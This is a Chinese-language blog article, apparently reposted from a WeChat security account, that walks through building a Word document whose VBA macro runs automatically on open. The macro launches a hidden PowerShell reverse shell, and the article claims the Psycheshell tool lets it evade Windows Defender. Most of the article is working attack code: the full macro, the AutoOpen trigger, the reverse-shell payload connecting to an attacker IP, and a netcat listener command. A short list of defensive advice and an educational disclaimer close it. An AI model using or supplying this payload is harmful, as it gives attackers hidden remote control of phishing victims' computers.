在本文中,我们将探讨攻击者如何使用 VBA 宏制作反向 shell 来远程访问受害者的系统。我们将利用 Psycheshell,这是一种旨在绕过 Windows Defender 的自定义工具,使攻击更加隐蔽且更难检测。通过 Microsoft Office 文档自动执行恶意代码,该技术展示了当今网络钓鱼活动中使用的不断发展的策略。
使用 VBA 宏创建反向 Shell
1. 在 Microsoft Word 中设置 VBA 宏
第一步涉及在 Microsoft Word 文档中嵌入 VBA 宏。这是我所做的:
- 在 Word 中,我导航到“开发人员”>“宏”>“Visual Basic”以打开 VBA 编辑器。
- 我插入了以下 VBA 代码,该代码启动了一个隐藏的 PowerShell 脚本:
Sub test() ' test Macro Dim objshell As Object Set objshell = CreateObject("Wscript.Shell") objshell.Run "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command ""$command = {while($true){try {$cl = New-Object System.Net.Sockets.TcpClient('192.168.1.198',443);$st = $cl.GetStream();$rd = New-Object IO.StreamReader($st);$wr = New-Object IO.StreamWriter($st);$wr.AutoFlush = $true;while($cl.Connected){$cmd = $rd.ReadLine();if($cmd -eq 'exit'){break;}try{$res = iex $cmd 2>&1 | Out-String;}catch{$res = $_.Exception.Message;} $wr.WriteLine($res);$wr.Flush();}$cl.Close();}catch{Start-Sleep -Seconds 10;}}}; Start-Process powershell -WindowStyle Hidden -ArgumentList '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $command""" Set objshell = Nothing End Sub
- 此代码初始化一个反向 shell,该 shell 连接回攻击者的侦听器。
- 为了使宏自动执行,我在该部分添加了以下代码:
ThisDocument
Sub AutoOpen() Call test End Sub
- 该函数可确保宏在打开文档后立即运行,这通常在网络钓鱼攻击中被利用。
AutoOpen
2. 设置 Psycheshell 并生成有效负载
接下来,我使用 Psycheshell 生成一个经过混淆处理的 PowerShell 负载。该工具为我提供了各种选项来自定义有效负载:
- 我选择了 Windows 作为目标。
- 我选择 PowerShell 作为 shell 类型。
- 我输入了侦听器 IP 地址 () 和端口 ()。
192.168.1.198
443
- 我选择不对有效负载进行编码或暂存,以便更快地执行。
根据这些设置,Psycheshell 生成了以下混淆有效负载(如屏幕截图所示):
$command = {while($true){try {$cl = New-Object System.Net.Sockets.TcpClient('192.168.1.198', 443);$st = $cl.GetStream();$rd = New-Object IO.StreamReader($st);$wr = New-Object IO.StreamWriter($st);$wr.AutoFlush = $true;while($cl.Connected){$cmd = $rd.ReadLine();if($cmd -eq 'exit'){break;}try{$res = iex $cmd 2>&1 | Out-String;}catch{$res = $_.Exception.Message;} $wr.WriteLine($res);$wr.Flush();}$cl.Close();}catch{Start-Sleep -Seconds 10;}}; Start-Process powershell -WindowStyle Hidden -ArgumentList '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $command
3. 启动侦听器并测试连接
在攻击者方面,我使用 Netcat 来侦听来自目标系统的传入连接:
nc -lvnp 443
宏在目标系统上执行后,它会建立与侦听器的连接,从而为我提供远程命令执行功能。如屏幕截图所示,我能够查看目标的 Desktop 目录的内容。
结论
此技术演示了如何使用宏来提供反向 shell,尤其是在将恶意文档发送给毫无戒心的用户的网络钓鱼活动中。将其与 Psycheshell 等工具相结合,攻击者可以绕过常见的防病毒防御措施,使其成为严重威胁。
安全建议:
- 在 Office 应用程序中禁用宏。
- 使用终端节点检测和响应 (EDR) 解决方案来检测和响应此类活动。
- 定期审核日志中的可疑连接。
最后说明:
本文旨在教育和提高对潜在网络钓鱼威胁的认识。此处讨论的技术仅用于防御和道德黑客目的,不应用于未经授权的活动。
原文始发于微信公众号(安全狗的自我修养):使用 VBA 宏和 Psycheshell 创建隐蔽的反向 Shell 以逃避 Windows Defender
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论